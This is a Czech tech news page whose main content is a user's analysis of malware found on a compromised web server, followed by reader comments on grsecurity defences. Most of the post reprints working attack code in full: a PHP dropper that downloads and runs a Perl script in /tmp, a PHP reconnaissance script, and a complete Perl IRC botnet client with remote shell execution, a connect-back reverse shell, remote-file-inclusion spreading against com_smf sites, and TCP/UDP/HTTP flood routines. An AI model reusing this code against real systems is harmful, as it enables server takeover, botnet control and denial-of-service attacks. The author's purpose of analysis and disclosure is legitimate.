Knihovna libpng, tj. oficiální referenční knihovna grafického formátu PNG (Portable Network Graphics), byla vydána ve verzi 1.6.51. Opraveny jsou 4 bezpečnostní chyby obsaženy ve verzích 1.6.0 (vydána 14. února 2013) až 1.6.50. Nejvážnější z chyb CVE-2025-65018 může vést ke spuštění libovolného kódu.
Nové číslo časopisu Raspberry Pi zdarma ke čtení: Raspberry Pi Official Magazine 159 (pdf).
Hru Warhammer: Vermintide 2 (ProtonDB) lze na Steamu získat zdarma napořád, když aktivaci provedete do pondělí 24. listopadu.
Virtualizační software Xen (Wikipedie) byl vydán v nové verzi 4.21. Podrobnosti v poznámkách k vydání a přehledu nových vlastností.
Evropská komise schválila český plán na poskytnutí státní pomoci v objemu 450 milionů eur (téměř 11 miliard Kč) na rozšíření výroby amerického producenta polovodičů onsemi v Rožnově pod Radhoštěm. Komise o tom informovala v dnešní tiskové zprávě. Společnost onsemi by podle ní do nového závodu v Rožnově pod Radhoštěm měla investovat 1,64 miliardy eur (téměř 40 miliard Kč).
Microsoft v příspěvku na svém blogu věnovaném open source oznámil, že textové adventury Zork I, Zork II a Zork III (Wikipedie) jsou oficiálně open source pod licencí MIT.
První prosincový týden proběhne SUSE Hack Week 25. Zaměstnanci SUSE mohou věnovat svůj pracovní čas libovolným open source projektům, například přidání AI agenta do Bugzilly, implementaci SSH v programovacím jazyce Zig nebo portaci klasických her na Linux. Připojit se může kdokoli.
Google oznámil, že Quick Share na Androidu funguje s AirDropem na iOS. Zatím na telefonech Pixel 10. Uživatelé tak mohou snadno přenášet soubory z telefonů s Androidem na iPhony a obráceně.
Byla vydána nová verze 8.5 (8.5.0) skriptovacího jazyka PHP používaného zejména k vývoji dynamických webových stránek. Přináší řadu novinek a vylepšení (URI Extension, Pipe Operator, Clone With, …). Vydána byla také příručka pro přechod z předchozích verzí.
Evropská komise zahájila tři vyšetřování týkající se cloudových platforem Amazon Web Services (AWS) a Microsoft Azure. Evropská exekutiva, která plní také funkci unijního antimonopolního orgánu, chce mimo jiné určit, zda jsou americké společnosti Microsoft a Amazon v cloudových službách takzvanými gatekeepery, tedy hráči, kteří významně ovlivňují provoz internetu a musí dle nařízení o digitálních trzích (DMA) na společném trhu
… více »Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle
< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
< ?php
system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');
system('rm -rf /tmp/*');
system('rm -rf /tmp/*.txt');
system('rm -rf /tmp/*.txt*');
system('rm -rf /tmp/*.txt.*');
? >
< ?php
echo "31337
";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = $_SERVER['SERVER_ADDR'];
$alb9 = get_current_user();
$os = @PHP_OS;
echo "UNITED #D-Devils By The King Sir|ToTTi
";
echo "os: $os
";
echo "uname -a: $alb
";
echo "uptime: $alb2
";
echo "id: $alb3
";
echo "pwd: $alb4
";
echo "user: $alb9
";
echo "SoftWare: $alb5
";
echo "PHPV: $alb6
";
echo "ServerName: $alb7
";
echo "ServerAddr: $alb8
";
$free = disk_free_space($alb4);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free: ".view_size($free)."
";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
exit;
? >
IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
#!/usr/bin/perl
use IO::Socket;
srand;
my $bPs = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
my $aMaster = 'nix', 'Fugaru';
my $aHost = '*@fbi.ro';
my $sServer = 'ip-adresa-zde';
my $sPort = '6667';
my $sTimeOut = '300';
my $bChan = '#nixsl3';
my $bNickLen = '7';
chomp (my $bNick = `whoami`);
chomp (my $bIrcName = `whoami`);
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';
open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
unless(flock(LOCK, 4 | 2)) { die; }
if(fork) { exit; }
$0 = $bPs;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
package irc;
use IO::Select;
our $irc_socket;
our $irc_select = new IO::Select;
my $cur_nick;
sub raw { print $irc_socket "$_[0]\n"; }
sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}
sub init {
my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}
sub loop {
my $time_out = time;
for(;;) {
my @handles = $irc_select->can_read(1);
if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
next unless(@handles);
foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);
foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;
sub bcmd {
my @line = split(/ /, $_[0]);
my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
#unless($Mask eq $aHost) { return; }
my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }
my $To = shift(@line);
$" = ' '; $line[0] =~ s/://;my $Text = "@line";
if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}
if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
return;
}
if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
if(!fork) {
if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}
exit;
}
return;
}
if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}
sub bsh {
my $to = $_[0];
my $cmd = $_[1];
if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}
sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print "elxbot's connectback backdoor\n";
system('/bin/sh');
close(STDIN);
close(STDOUT);
close(STDERR);
}
package spread;
sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;
my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
my $rfi = '';
my $bLoc = 't';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
$cmds =~ s/ /%20/g;
while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();
foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
if($dup eq $host) { next; } $dup = "$host";
$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}
sub google() {
my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);
my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');
my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";
my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
my $page = http_query($query);
while ($page =~ m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}
sub http_query {
my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';
$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;
if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
package flood;
use POSIX;
use Socket;
our $s_time;
sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my @SOCKET;
while ($_[3] > (time - $s_time)) {
for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}
for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}
for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}
sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);
while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}
sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
$s_time = time;
my $querys = 0;
while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}
while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Tiskni
Sdílej:
Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.
A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).
Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.
Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji
). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.
True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi 